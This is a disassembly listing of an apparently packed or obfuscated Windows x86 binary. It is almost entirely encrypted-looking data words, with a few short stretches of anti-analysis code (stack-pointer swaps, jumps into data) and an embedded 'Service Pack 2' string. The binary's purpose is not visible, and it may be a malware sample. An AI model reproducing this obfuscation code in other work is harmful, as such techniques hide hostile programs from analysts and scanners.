2BEA347h, 0A603B205h, 6A4928D5h, 0B9D8654Dh dd 0F716272Bh, 0AEA43496h, 17767E9Fh, 168EDF36h, 3995C807h dd 20A8ACFh, 2253E283h, 0A8ACEA4h, 6FFE4CE0h, 0E071D96Bh dd 6F56F3DFh, 0E88F2C66h, 51E072C2h, 6030A830h, 0C85AACF0h dd 94h, 0E06CBD6Eh, 74E06D51h, 0B83194E5h, 0E475109Dh dd 0D5684A68h, 9FCAE677h, 4FE2C8E7h, 0CB0D6FDh, 0B7D41754h dd 0D8BD302Dh, 0B1168E83h, 0DB6B4F6Ch, 2B6B6973h, 2735036h dd 1074CEF0h, 2307A4E9h, 3A20BE96h, 8AB4A9ABh, 0B379FA1Bh dd 657D9F4h, 49950000h, 3B8BAD0Dh, 3B8DB313h, 3A89AF0Fh dd 4392B816h, 0AD82B111h, 4363F140h, 2383CF5Dh, 409EAAFDh dd 2585C71Ah, 48C2331Ch, 1116B688h, 70BDA698h, 75E0C7E4h dd 0E8E7A713h, 0D1F7E5EFh, 54EECC80h, 51E06CBDh, 5270DC6Dh dd 9DB4A323h, 4BBE410h, 6A9910CBh, 568BA731h, 1EAF9330h dd 0F6FE1F2Eh, 476874E9h, 1A051686h, 55AB775Dh, 0AE3B851Bh dd 0DB6A506Fh, 40626F79h, 597F5FEDh, 0D6F54408h, 0E1EB61F4h dd 0A6378CD5h, 0C7E8C7A6h, 85F73C96h, 3880050Ah, 0C6163C1Bh dd 48C5448Ch, 111076F2h, 2DAFD98Ch, 25C479F8h, 5A828h dd 60F64400h, 80CE6042h, 9EAC0022h, 87C91A40h, 0A0B40127h dd 0EF1C1302h, 0EED4F262h, 0F4D6F45Eh, 0E7C9E95Fh, 0BD8F656h dd 893591C4h, 0ABFE16B6h, 0D2DDC2B7h, 0DFC3A1Bh, 81D406CEh dd 7A5D7ACBh, 9E438F0Bh, 0FC51C010h, 676767C3h, 292BB5D8h dd 0B87F698h, 0D4109E5Ah, 7981D0B1h, 75C87A0Fh, 9D5BF7D7h dd 45A3414Fh, 7, 140C419h, 706A0000h, 109DB512h, 7A592D34h dd 8564D00Bh, 33A28516h, 0A84E3D7h, 0F6737DA0h, 30173897h dd 0D64289D2h, 0A9A53575h, 0B6187998h, 0FD1C2D27h, 0FC50E1F3h dd 0E369FCDEh, 7B0B5652h, 4AAC295Ch, 10751076h, 0F786155Dh dd 0BA975679h, 4E9h, 3F9FB703h, 2585C919h, 3999B103h, 2A88C817h dd 3B9BB908h, 77C62708h, 8DDBFDDDh, 70C3E5C5h, 85D8FAD8h dd 0F5DAE7C7h, 0B68A0680h, 0E85ACF16h, 51E06CBDh, 0E170DC6Dh dd 681AAF19h, 0FB5777D5h, 0A341EA3Dh, 1DA5h, 0BF143600h dd 0C2953F89h, 2696DEDDh, 0B22310F5h, 109E4558h, 539DFC21h dd 8D08h, 0BEA3A600h, 787AEBC8h, 91168565h, 3A8BAF0Ch dd 3B8EB412h, 0FDE44011h, 98BB2A89h, 0ED106C95h, 96270BA8h dd 9F3218B6h, 97F658EAh, 77F6AC6h, 0F51835A8h, 3C610A5Ch dd 0DE45F349h, 4C892073h, 441h, 97371FABh, 8D2D21B1h, 913119ABh dd 923020AFh, 933321B0h, 0CF5E8FA0h, 0B5032585h, 0C81B3D9Dh dd 0AD002280h, 2D323F9Fh, 0B68A5EB8h, 50F22716h, 4EE0C2h dd 0B4D832A3h, 7CA1109Dh, 1156974h, 60420000h, 50B180CEh dd 0BEA3CE88h, 0A4786802h, 8BEAAFECh, 52B5B92Ch, 4FCE1686h dd 55F74A70h, 4A025375h, 0E2A4BDFBh, 826F90C5h, 41C4106Dh dd 483D62h, 9E7E28D0h, 90210956h, 0A93C1EBCh, 4B9692A3h dd 538E087Dh, 3657046Dh, 73577857h, 25646CE4h, 0A5E33E8h dd 2D79EC31h, 4673DF84h, 39BAAA7h, 5510000h, 0FF4F7151h dd 0F7496F4Fh, 0FE4D7353h, 0FF4E7452h, 0E9467555h, 0BF1F3584h dd 0A7074B99h, 0BC1A2E81h, 0A9094396h, 0D44EBFA0h, 9D16B68Ah dd 6CBDDA84h, 0DC6D51E0h, 0B4C743B2h, 0D90109Dh, 9B35DD6Ch dd 6BE1741Eh, 0EA21EF4Bh, 0DFC3A341h, 0B8124351h, 81109DC0h dd 0EFEC7D1Ch, 9DC1247Eh, 0C9A8ED10h, 4998FFh, 1C3B0000h dd 9DC16DE9h, 0DB37A610h, 0A4109DC0h, 1CEDD261h, 177EE459h dd 29B33D5Ch, 0EBC8BEA3h, 8EFBA77Ah, 57EAD016h, 1F7EEBF5h dd 3E469AC0h, 0DED70441h, 2989E86Eh, 89D35BBAh, 646970Ah dd 1C2E82A8h, 2EB104Dh, 0BDAE0000h, 6C49186Ah, 7D484DCBh dd 0B8094D1Ch, 0E5183794h, 109DBD69h, 0CB09D332h, 69F854E5h dd 5A78D465h, 6CC0035Eh, 0ED20BFDEh, 168EAB90h, 1465F419h dd 0A8AA6B6h, 0E408810Dh, 5AAD1414h, 44BCh, 0E5C2A200h dd 9DB51670h, 55F74A10h, 13D8706h, 0CC419EE8h, 168E98CDh dd 0D24CC19Eh, 9B0A8A88h, 4503587Ah, 66E41524h, 0A20A8A89h dd 0CDF14012h, 0D83D27Eh, 0F6FFE663h, 3FFD1F9Ch, 0A75AAD3Eh dd 0E0h, 0E06CBDBBh, 0B1E06D51h, 513024h, 77C9DCC3h, 13EFB353h dd 163687C9h, 9AB20347h, 87C3153Dh, 0ADBC9423h, 5976646Ch dd 0AA245976h, 73109DE5h, 0E5E76312h, 0CE1B109Dh, 956B786h dd 48CD3C84h, 91109DE9h, 27361AA9h, 69FCDEE6h, 4EDEC4E3h dd 0CD43504h, 7BC9F1CEh, 0BD0786D7h, 33024A9Bh, 3D9AECF5h dd 55AD351Ah, 1C540063h, 40678277h, 1CB6C13h, 8EFB1782h dd 7D5DC016h, 815E2841h, 7561720Ch, 0BD1A7B10h, 0AF0C4895h dd 0F5121288h, 34C5EA66h, 0C4A922Fh, 0C8BD9726h, 79FAA888h dd 0BE03DE8Dh, 2E000001h dd 3218B6A0h, 2A10AEA0h, 3416B496h, 2B0DADA3h, 2518B69Eh dd 54E10Ah, 223080A2h, 3F099E84h, 2428B99Fh, 6392BD86h dd 16B68CE7h, 0BDC579B0h, 0E4C6E470h, 7DDBFB51h, 0EBC8BEA3h dd 0BD575C7h, 15C6F1CEh, 0DEC5FB85h, 5D3CCB15h, 2E168ECAh dd 0AF2F5EEFh, 0EB0A8AB9h, 6165F45Ch, 0BAEE7FD3h, 8B5243B8h dd 92628AFFh, 3A5AACEFh, 0D4h, 0E06CBD20h, 1507251h, 42134190h dd 381AA2C3h, 260CABA9h, 6607F393h, 85AD5101h, 0AC3455E4h dd 5849CC3Dh, 3C8D109Eh, 3F8FB310h, 351DAB0Fh, 3A8BADABh dd 1E044312h, 9DB1018Eh, 1D2C4DCCh, 0A1C8F4FCh, 0C6E9C6E5h dd 9E513B97h, 37810410h, 8F225DC8h, 27870616h, 278402E7h dd 757DDBB6h, 99EA410h, 59815E3Fh, 486A480Ch, 0B8265BF9h dd 0E979FACAh, 0D30742h, 0CD190000h, 0B7072989h, 0BF113797h dd 0B6052B8Bh, 0C7163C9Ah, 31FE2D8Dh, 0E7C78DDCh, 0FFDF73C1h dd 0E4C286D9h, 0C1E16BBEh, 2CA6D7F8h, 0F516B68Eh, 70BDC29Ch dd 0B55BB726h, 0E124109Dh, 1E042380h, 1475C48Eh, 9DB4E965h dd 8953B210h, 78D4654Bh, 0A4E7775Bh, 0EE2F3E14h, 0B917458Fh dd 51E06CBDh, 5270DC6Dh, 5C7B0B56h, 8564DE29h, 0E5C24316h dd 55E470BDh, 1E3DAC34h, 3A7AD3Ch, 0FD4F99B1h, 2002A0ACh dd 5FAEBF8Dh, 0FEE64B23h, 0BB8ACA17h, 38094997h, 0E7CE6BA7h dd 0F5AD1E54h, 0F7E32264h, 0BABD2421h, 996EE81Dh, 0D637F622h dd 0D22F18B7h, 980F46E1h, 89E866F8h, 9E2F113Fh, 2CBB9FAEh dd 0CD3F1524h, 1933863Ch, 64697B9h, 31A37h, 7BB80000h dd 0E571BDE1h, 6DDF7254h, 0E365FADCh, 72E07052h, 252DFE3h dd 92C20F33h, 20307FC3h, 0AF9B2D11h, 242ABC9Eh, 89512215h dd 4C181E1h, 83000000h, 0C8704E9h, 24248B24h, 230168h dd 242C8900h, 490068h, 243C8900h, 74B26850h, 48B4BABh dd 4C48324h, 0B3A46135h, 58C5894Dh, 471668h, 24248900h dd 4240483h, 8B9515Fh, 1000000h, 0BB53F9h, 1000000h, 5B2B89CBh dd 243C8B59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_58442C ; --------------------------------------------------------------------------- db 0AFh dd 0BBE40734h, 91B6FFC6h, 437AD038h, 0DA54B882h, 0C5030618h dd 0E92EE0FFh, 61624382h, 0B5AA0640h, 3CCB3C5Dh, 8C361113h dd 0DDC606F8h, 478C149Ah, 83DE749Ah, 0D3C07BBEh, 93EA428Eh dd 0AF184840h, 36B76F06h, 1AE47D7Fh, 0E6B1368h, 5DC769CCh dd 16386810h, 0D73649D1h, 0DEC527F0h, 5C347D79h, 0B0E5795Fh dd 5E960230h, 784324D8h, 1C3E6A82h, 0FE877EBh, 0F5000000h dd 7380EEE2h, 944ADE36h, 791C9A1Fh, 8166CC1Dh, 5A6836F0h dd 68D0Fh, 0D7810000h, 47E3C39Fh, 7428C281h, 9E90000h dd 0A000000h, 84A1AEAh, 47BEAEB1h, 1CDDBBh, 0BA666000h dd 0CB8066E0h, 0A8B618Ch, 81CADC80h, 0A7DB09F1h, 0D860F12h dd 0E9000000h, 8, 590AFDB6h, 9F25893Eh, 0A216E981h, 0F1810D9Ch dd 6FF99229h, 3DFEF81h, 0A896F33h, 7161F081h, 0EA831D79h dd 0FFBF0F04h, 20850F4Bh, 0E9000000h, 0Fh, 0D35825B8h dd 48C14493h, 0DD286A69h, 0E90D772Fh, 17h, 3FA9AC53h, 80E25C0Dh dd 93E957E0h, 67FFFFFFh, 3DF788E7h, 0EB732C56h, 24h, 8 dup(0) dd 0BDE900h, 0B5890000h, 618DC0Bh, 173D858Bh, 858B0613h dd 61320F1h, 0DC55B58Dh, 858D0618h, 6164483h, 55C3D0FFh dd 0E8h, 0ED815D00h, 618DC5Bh, 173DBD83h, 0F010613h, 2C85h dd 0BB5FF00h, 8B0618DCh, 1320F185h, 27363506h, 0D0FF3481h dd 850F013Ch, 0Ah, 1B8h, 47E900h, 0C0330000h, 40E9h, 8D1C6A00h dd 18DC0FB5h, 0B5FF5606h, 618DC0Bh, 20F1858Bh, 36350613h dd 0FF348127h, 0CC483D0h, 0DC0FB58Dh, 468B0618h, 4E08314h dd 0F04F883h, 784h, 0E9C03300h, 5, 1B8h, 3DBD8300h, 1061317h dd 7850Fh, 0C35D0000h, 2E9h, 8DCF5D00h, 18DC3485h, 6D858906h dd 0E906130Eh, 9Ch, 4DBAA49Dh, 94h, 5, 1, 0A28h, 2, 76726553h dd 20656369h, 6B636150h, 3220h, 1Dh dup(0) dd 0B6EE9h, 0DF3C6800h, 0B5E90618h, 68FFFAA3h, 618E041h dd 0FAA3ABE9h, 0E16C68FFh, 0A1E90618h, 68FFFAA3h, 618E1D9h dd 0FAA397E9h, 0E30968FFh, 8DE90618h, 68FFFAA3h, 618E362h dd 0FAA383E9h, 0E69468FFh, 79E90618h, 68FFFAA3h, 618E793h dd 0FAA36FE9h, 3422B0FFh, 2C22B496h, 3218AC8Eh, 331DAE94h dd 3420AD93h, 6388A796h, 7A607ED6h, 684A68EAh, 735575D3h dd 7F4C6AE2h, 91B12D60h, 277A16B6h, 0D3F92B8h, 6CBD19C3h dd 0DC6D51E0h, 0B565270h, 0CC295C7Bh, 55168EA2h, 72D02130h dd 0C90A8A9Fh, 0D0A0CC3Dh, 0B25AAD0Ch, 0AD113F90h, 0E322331Fh dd 36C2D9h, 0A3980000h, 7AEBC8BEh, 168E989Bh, 0E918296Ch dd 0A8A8969h, 2A3B17A5h, 0A6B79528h, 9A8B0072h, 1A42B753h dd 5AAD3E5Ah, 8DC7163Ch, 0F5DC43h, 0DBFF0000h, 5DF7C189h dd 0C3E06CBDh, 0B70151DFh, 0DD042B28h, 959037E3h, 11A0B23Ah dd 0EF3E6443h, 0CF0C5B65h, 30217DF0h, 0ABEA109Eh, 0C796B607h dd 95C7E46h, 0EA3E6443h, 28B0D160h, 4A4495B9h, 2F9EF86Dh dd 2667109Eh, 9E2FDB37h, 0D9EA410h, 63432243h, 9E2C0BF0h dd 4A025310h, 59F3466Ch, 0D1B5AC08h, 26A0D5F2h, 0EF109E2Bh dd 0C43926AEh, 168F30C1h, 0E559B59Ah, 9BE169AFh, 0F9123206h dd 0DDBCDDCBh, 0DEA8C1FDh, 23898C01h, 65621075h, 751096F0h dd 5F3E5F04h, 490B5A80h, 0D1664C69h, 4B2A20B4h, 0FF519BFAh dd 69AFA2B2h, 0A679FA6Fh, 92DCA07h, 6DF90000h, 57E7C9E9h dd 5FF1D7F7h, 56E5CBEBh, 67F6DCFAh, 51DECDEDh, 7A7AD3Ch dd 1FBF9321h, 4A2A639h, 0E1C18B1Eh, 0C86F7D8h, 0D516B694h dd 70BDA2BCh, 0DEBF9321h, 0C68AD901h, 67FAE0FEh, 0A36BC5E5h dd 7AEBC8BEh, 168E989Bh, 6673F3DCh, 0B265248Dh, 468EBC10h dd 634764A9h, 2E5F7CD4h, 0A8A6CB4h, 11D0187Dh, 8A6D62E0h dd 0BC4DB90Ah, 0AD52C090h, 0CF685Ah, 0BDCE0000h, 0C28E1D6Ch dd 6EFF4DE0h, 0DBFF4E2Fh, 677C68Eh, 109DB101h, 0A2FC714Eh dd 6B109DAFh, 1DB0A22Ah, 18A98F2Fh, 0E2072534h, 0AC3C53E1h dd 9A6C7A6h, 783DA41Eh, 5AC95D47h, 0BCBCBA57h, 78656F0Eh dd 8DDE0005h, 60F1D916h, 0C2E8DECh, 2AA4D9BDh, 0F30A89CBh dd 6062F392h, 0ADEC7DCBh, 0DAD604CCh, 4AC4398Fh, 7E0A89CBh dd 0CF4E1F29h, 5F7C1D80h, 74291C2Eh, 0D3F01510h, 0D4F262EFh dd 80F55FEEh, 79F9823Eh, 2885C067h, 0FE000008h, 2208A6B0h dd 3A20BE90h, 2406A4A6h, 3B1DBD93h, 1508A6AEh, 0F064F11Ah dd 0F260F0D2h, 0EF59EED4h, 0F458E9CFh, 93C20DD6h, 16B69537h dd 0BDB5A900h, 0E4C6E470h, 0F3DCFB51h, 0EDB27156h, 0E9E7F193h dd 0E06CBD4Fh, 1571E4C3h, 0DE109DB5h, 99B635BFh, 0B4CB47B6h dd 0D104109Dh, 109DB575h, 4A90DF3Eh, 850455F7h, 67FADCE4h dd 0DABB8D22h, 713D2FDh, 92CB3CF1h, 8B46C035h, 8E0F109Eh dd 0D1181846h, 6DE716B5h, 0A2168640h, 0ADF65085h, 5EBF0A85h dd 17B4D996h, 0DAAA233h, 32BA9625h, 0ADE5B124h, 88DF0A85h dd 0A8A16834h, 8563D935h, 3C63A20Ah, 0CCAD741Dh, 0B6E6D1EEh dd 0C4385A31h, 0AA2C22AAh, 5CEBD811h, 452465F4h, 0F7664966h dd 0A84CD9Bh, 68972164h, 1075BEC9h, 79D7684Ah, 0C21FA9E8h dd 6C2DA043h, 0E77294Ah, 0E114B3D3h, 7699BA48h, 3775C449h dd 6775432h, 7083B8B9h, 0DFC8E726h, 1EEA3216h, 2B28B089h dd 0BB95260Ch, 0BE8E1F31h, 0E2A73A20h, 0A7AD3C51h, 47167796h dd 7AB2A7C6h, 8FDA0417h, 6FDFDD8h, 9D290000h, 0A73719B9h dd 8F2107A7h, 0A6351BBBh, 97260CAAh, 12E1DBDh, 0D7F75DECh dd 0CFEF63F1h, 0D4F256E9h, 0D1F15BEEh, 3C96C708h, 516B696h dd 0BEA3B28Ch, 0D96C3B02h, 0E180D15Ah, 0FA3993C2h, 9FFE1685h dd 0C3C81A40h, 2221876h, 0A51421E2h, 0AF1475C4h, 1CED111Bh dd 0EBCBAA4Bh, 88D975C5h, 2459F346h, 800AD4AEh, 901D38EFh dd 96000006h, 8AB00E48h, 92B81638h, 8CAE0C3Eh, 93B5153Bh dd 7DB00E46h, 480C59B2h, 5AF8486Ah, 4701567Ch, 5CF04167h dd 0FB6A757Eh, 16B6959Fh, 0A30D3168h, 7AEBC8BEh, 16856A22h dd 0E2FCE0E7h, 80B0980Ch, 0DFC4680Eh, 9DFCFEE2h, 81C71C3Eh dd 4A8751B0h, 5877D568h, 1FADE272h, 82E32233h, 7552B3h dd 0A851286h, 0D806CE4Fh, 0D4F38FD8h, 851231A1h, 51E0E20Ah dd 0B2D33203h, 11F352A3h, 0D4A0A85h, 0A7B69225h, 97345E66h dd 0A6BBA775h, 450F5Ah, 0A3330000h, 0C6E9C6BCh, 0DD71C1E9h dd 9DB532ACh, 529AFB10h, 9DB55BB3h, 68F91C10h, 9DB4B919h dd 5761010h, 86007552h, 0BF109DB4h, 9DB3D44Eh, 0EB789D10h dd 0FABA22AAh, 625CBE19h, 7, 1B6C4F8h, 0B96A0000h, 0DBABB6DFh dd 0A5E889FCh, 4169168Eh, 0D7945CF0h, 0B4B855B6h, 22B9240Ah dd 0ED20BFC7h, 60D0EA54h, 0AF933055h, 44A32D1Dh, 268501E8h dd 0BAEA88B7h, 3390F55Ah, 9DD0BE0Fh, 4EB65A41h, 0CCEA8B0Ah dd 0CA3B53E6h, 4EB65A50h, 0E095F419h, 0C43BB87Ch, 60C702A9h dd 0C6000005h, 0DA00DE78h, 0C2E8C688h, 0DCFEDC6Eh, 0C3E5C58Bh dd 0CD00DE76h, 98BC0962h, 8AC8183Ah, 97B1062Ch, 8CC01137h dd 0CB3A252Eh, 16B6984Fh, 0BD5D0118h, 7251E06Ch, 0B4A62055h dd 2E6F109Dh, 374F9AA6h, 94886598h, 8C11168Eh, 93B90C2Eh dd 0FF28CDEh, 0CB06A580h, 507h, 0E3C3931Fh, 0C1E16DBDh dd 0DDFD4DDFh, 0C6E46CFBh, 0DFFF55E4h, 9B2A43ECh, 0A93719B9h dd 942709A9h, 0A13416B4h, 213E0BABh, 0B69872ECh, 7CE63B16h dd 51E06CBDh, 90FC5072h, 9DB5015Dh, 2A4BCA10h, 0E0F2FA1Bh dd 0A86EFF4Dh, 50E1912Ah, 0B686DEFCh, 1EA341E6h, 3Bh, 4BE0C244h dd 0A2C7F3FDh, 0F96C7E4h, 30168EACh, 7CF1CEEDh, 0A8A9522h dd 0FC4B0556h, 61904F99h, 0A8A94E1h, 0F3DCE38h, 5AAD0A41h dd 7BE9h, 40E5CA00h, 5D35D8B1h, 0A389539Dh, 0CCEBC8BEh dd 9DB53D99h, 23870610h, 2936BE96h, 8EFBE1B4h, 5C7B9A16h dd 4D6AE476h, 26B6D565h, 9DFC1D2Ch, 55834DCCh, 0D8D34F78h dd 31E29545h, 1EF958A7h, 0A4350A8Ah, 22D0AA8h, 36C9394Bh dd 0CE3F9CFCh, 0A8A1654h, 0DEF0F81Dh, 1433024Ch, 8AF992Eh dd 40CB8A49h, 0F4A922Bh, 413h, 0D9B90A30h, 8A5B2AA4h, 0F392F30Ah dd 3F992362h, 0EBC8BEA3h, 8EAFAF7Ah, 24355816h, 8EFF8F22h dd 0A8A9A14h, 88D9B8DDh, 51BFE8D7h, 0D771C6FFh, 590481F0h dd 0B484F58Fh, 8BFAD9ADh, 107B8B9Eh, 0A4293B7h, 0C3E025C2h dd 0D6FD4DDFh, 0EA82864h, 0CE0CD457h, 0C123C6F1h, 1227CF1h dd 0AAEB0477h, 0E48FE605h, 0E567FADCh, 86507754h, 23496D3h dd 0FFEA569Eh, 0DFFF2887h, 0FF36318Fh, 0C63724ACh, 0A684253h dd 96B8890Ch, 0BD194C44h, 86FE643Bh, 0F3D76607h, 95AEB63h dd 0AF05F089h, 371BCC3Dh, 2E20A8A8h, 3411B19Bh, 40B4D40Bh dd 0BDE150E9h, 3455E470h, 2D5990ACh, 0BF4AA98Eh, 83D27ECDh dd 2C3C9D02h, 3215428Ah, 9A66E015h, 0EE2FFE64h, 869AA7E6h dd 2830455h, 8EBE0F33h, 94B80931h, 0ED7C44C5h, 0C73658E9h dd 0F851864Bh, 0C190F114h, 10212D7Dh, 0CF992FCh, 0F3C536B8h dd 0CA3B98EEh, 0FE4272BFh, 644665A8h, 63717BD1h, 0D160EC3Dh dd 65F460EDh, 570B80F2h, 28684606h, 0F7664541h, 0F82F60A2h dd 272B3A5Bh, 0B1A7B696h, 0E3FECA3Fh, 7CD104A3h, 0A5F21C4Ah dd 0CE3B427Ah, 59632067h, 0C29890Ch, 7560BA2Bh dd 6499E618h, 0E61874EAh, 800552B3h, 89C31638h, 94396B8h dd 12746DA9h, 62E540B5h, 2F6EEC09h, 5F6FEF1Eh, 4CC6E005h dd 4CCF8DAFh, 3D776C26h, 0CB000000h, 0EBC8BEA3h, 8E989B7Ah dd 0D2666C16h, 192824B5h, 0DBF899F8h, 58E969F7h, 0C130AF39h dd 0A8A8941h, 2ADD6E98h, 0C697B508h, 7445A481h, 99F87BDAh dd 7BC9874Fh, 0D9715AADh, 0C5000000h, 8D1D6CBDh, 701170C1h dd 0C8BDE2E1h, 0A925584Dh, 72109DF7h, 59C2AC13h, 3786C810h dd 0B70A4C1Dh, 2F82C495h, 0BFA0BD1Dh, 9EABD44Eh, 95B30810h dd 97F645C4h, 0A8D9BE4Dh, 9021109Eh, 0A93C1EBCh, 4B9692A3h dd 0FC699C3Bh, 0A5168F78h, 0CC5F4360h, 56E9ED7Ch, 432263F2h dd 0EE7FCF5Fh, 0F73725AFh, 0C63794F2h, 1075E02Ch, 0CFF3D035h dd 0CEF4D282h, 6CE6177Fh, 350475CDh, 74BCB1D0h, 7979FB2Bh dd 1D597B2h, 5510000h, 0FF4F7151h, 0F7496F4Fh, 0FE4D7353h dd 0FF4E7452h, 0E9467555h, 0BF1F3584h, 0A7074B99h, 0BC1A2E81h dd 0A9094396h, 0D44EBFA0h, 9D16B69Ah, 0E5C2DA84h, 5A717BAh dd 9CCD1511h, 109E3142h, 0B82D8A0Bh, 109E315Eh, 0FCDEE627h dd 0E1C7E76Dh, 84DEFC50h, 0EBC8BEA3h, 8E989B7Ah, 0D4666C16h dd 0CBAAEB7Ah, 888B0B7Ah, 0A8E20A8Ah, 3E2BE913h, 0CF935AADh dd 0A7000000h, 197CDDC2h, 8C7F4E84h, 8DBF1244h, 94B9ABCh dd 93C2C938h, 2B0F109Eh, 292BB59Dh, 0B87F698h, 0D4109E93h dd 0D0F2D0B1h, 617ECF7Dh, 0B2404E76h, 0AC34A692h, 8E2D5990h dd 35F8EB1h, 0CC109E6Fh, 95007F49h, 3E168F3Fh, 3EBFDE19h dd 0ADCC2A12h, 0B3992C0Eh, 7B5963A2h, 4360263Bh, 4CC1CF5Fh dd 0A8B97D2h, 4A1B7A9Bh, 0F757E7CBh, 0A07DF0EDh, 691075F5h dd 16A38724h, 2BBAA03Eh, 4FA63429h, 10D779FBh, 0D635h dd 54025000h, 4C025476h, 52F84C6Eh, 53FD4E74h, 54004D73h dd 83E84776h, 9AC01E36h, 88AA084Ah, 93B51533h, 9FAC0A42h dd 9BD14DC0h, 879A16B6h, 51E0C2DBh, 9D33203h, 0FCDA7AC7h dd 0E9C983D6h, 0F953E6CCh, 6CBD65EFh, 0DC6D51E0h, 1745370h dd 109DB485h, 0D6E8CF4Eh, 0AE23669h, 0BAF6E4ECh, 85F8D7AFh dd 16853007h, 0AB595B44h, 2010BEC3h, 7BCA4B98h, 68460657h dd 7E5DEF42h, 0C4B22C61h, 1A7B0A83h, 133413D2h, 83C568E2h dd 0CFEC310Ah, 83C5449Eh, 40880D0Ah, 2609F2C1h, 0A2175B55h dd 0CFEF5DF0h, 0D7F458E9h, 0BD414AF0h, 0BDF9DE6Ah, 489721A5h dd 3C9BB506h, 0B889C316h, 0FCD08F59h, 0F849F992h, 1547654h dd 0F2466C4Bh, 0F4D19058h, 3, 0BDE17B5Ah, 7254E571h, 0FADC6DDFh dd 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h, 2D112030h dd 0BC9EAF9Bh, 2215242Ah, 81E38953h, 4C3h, 4EB8100h, 87000000h dd 895C241Ch, 85682434h, 8900006Ch, 0DD68242Ch, 89000011h dd 0EABD2414h, 56342C71h, 1393F7BEh, 5EF5292Eh, 0D8368h dd 24248900h, 4240483h, 8B8505Ah, 2D000000h, 3C7B522Dh dd 2D05D001h, 893C7B52h, 148B5828h, 0E0895024h, 405h, 40500h dd 4870000h, 34FF5C24h, 0C4815D24h, 4, 0FA985BE9h, 0D0F20DFFh dd 16EC3974h, 0B8CE11F6h, 618E88Eh, 0E0FFC503h, 8413A0h dd 3ECE879Eh, 3964C695h, 52B861B9h, 392A589Ch, 0EA168D8Dh dd 0BD8B0618h, 6133181h, 1BBD8D89h, 6A0613h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 97FFEDC3h dd 5C797D11h, 28C1858Bh, 85C70613h, 61318DDh, 72F0h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0AC35242h, 0EF3E478Fh dd 48E0FD4h, 66000000h, 0C74BD7BFh, 13305585h, 6, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 81664C56h, 0FF9157D8h, 131B65B5h, 7EB86606h, 8995FF93h dd 6A06131Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 1EA6C355h, 0D917DE4Dh, 0E92316B3h dd 0Dh, 0D772FDDh, 0AD8936A4h, 6A0C2474h, 0FF006A5Dh, 130DA995h dd 0EBC08B06h, 5D8A2049h, 9D7C59F8h, 0BD305FA2h, 869FD9BBh dd 0E5C09FC3h, 81047C6Ah, 0A622E3E0h, 0E92DE624h, 7FBC4B97h dd 2E1905DFh, 0C60B6867h, 0BDF6AA4Fh, 0AAEEEC51h, 0D67B2BAFh dd 72D7CB71h, 75743C53h, 0EFF6FC5Bh, 1DAAC45Ch, 20E947FFh dd 35000000h, 5238F0h, 6 dup(0) dd 0E9000000h, 58Ch, 7757FF4Bh, 6D4D0151h, 7151F94Bh, 7250004Fh dd 73530150h, 2F7EEF40h, 15A38525h, 28BB9D3Dh, 0DA08220h dd 8DD29F3Fh, 0B69EFE58h, 6D52C716h, 0E6C42A42h, 0EAF23CE8h dd 4FE0C270h, 4495B701h, 0C8153908h, 0B90C2E8Ch, 2D80C293h dd 0BA0C4E1Fh, 0E012C594h, 6026B76Bh, 0FF179B05h, 8A6C716h dd 0D6B10327h, 1EA6C781h, 2A1A73Ch, 0BAAD521Dh, 6A721960h dd 91F1466Ch, 527B1B8Dh, 54E584F4h, 5370E272h, 0DE6FDF6Fh dd 71ED20BFh, 3A109DD2h, 7E5211DBh, 78CB7714h, 7DD0F2D0h dd 8E0F7ECFh, 7109DD1h, 0EB5DF2D8h, 0D23D99CCh, 8706109Dh dd 1636D33Dh, 0A341F746h, 97EEh, 6CBD5400h, 507251E0h dd 0FA895301h, 109DB49Eh, 72E3C413h, 109DB518h, 0EE1FBCE1h dd 109DB574h, 7610D83Dh, 0EA19D705h, 1C1A341h, 95000000h dd 50E16DBDh, 5572DC6Eh, 52005072h, 77D38203h, 40109DB5h dd 725413DDh, 6A506FE1h, 65F9ADD5h, 0A4922A1Fh, 0FB6CFBC5h dd 6D550277h, 0BFDE6FDBh, 0F8932335h, 6F54E563h, 30B6D662h dd 0D4FB9AC1h, 5373E399h, 0B51273CDh, 42133F8Dh, 252DFC3h dd 0CC0AD233h, 0D979C7EBh, 8DBF0988h, 50FC4D3Ch, 891E8001h dd 6200DEBFh, 55E470BDh, 0DC6DE171h, 55E466FAh, 0E170E471h dd 0AB57F4DEh, 0E627361Eh, 58F15F87h, 9A391BAAh, 8A2927B8h dd 9DB4FF5Bh, 7B45C810h, 62EA7B5Dh, 0C0CA5D45h, 9DB4D14Dh dd 1A7B9A10h, 9D2F13D2h, 0D179CBEFh, 9DB526A0h, 0CFAEEF10h dd 7F5CC7F0h, 8DDC74C3h, 0A701A70Ch, 0C998B206h, 409F2948h dd 0C9183A19h, 3095BA8Bh, 23ADE8A3h, 28C5435h, 95856389h dd 702DA341h, 11000000h, 1670E5C2h, 0DF109DB5h, 952436BEh dd 18ACAEBFh, 42B02332h, 88CC19C9h, 9BB9082Ah, 193788CAh dd 54E52148h, 0F55184A3h, 29109DB4h, 60A5B296h, 0E8200058h dd 0E5C2A341h, 0A01E74BAh, 0BEAF9B17h, 109EAB64h, 0AAEE689Dh dd 56B7109Eh, 0DA6EC109h, 616B0A8Bh, 323Ah, 70BD2000h dd 0DE7155E4h, 0D2654D6Ah, 0DCFF6E76h, 408D45B6h, 0BD1CB614h dd 2150E16Dh, 109DB4A0h, 54E4C619h, 1F9CF6FEh, 41EA3FFDh dd 1A7A3h, 0BDBB0000h, 4C8EDF6Bh, 0CE0253F9h, 0E97B27A4h dd 1C454161h, 0D2654D6Ah, 55E3E776h, 4C2D6CFDh, 52785784h dd 9BFA4BFDh, 0B1E3B251h, 7194168Eh, 14BDEE0h, 5B2E7FA1h dd 93F2430Bh, 9DAC9C2Fh, 0F4C1D7Ch, 64F39E2Bh, 5D3C5DECh dd 0C4438D0Ch, 0A8AB048h, 0CF781181h, 0B0217DF0h, 0ABEA0A8Ah dd 0AE9E2F21h, 0B5972A10h, 3D0FA2A4h, 4FEC662Ch, 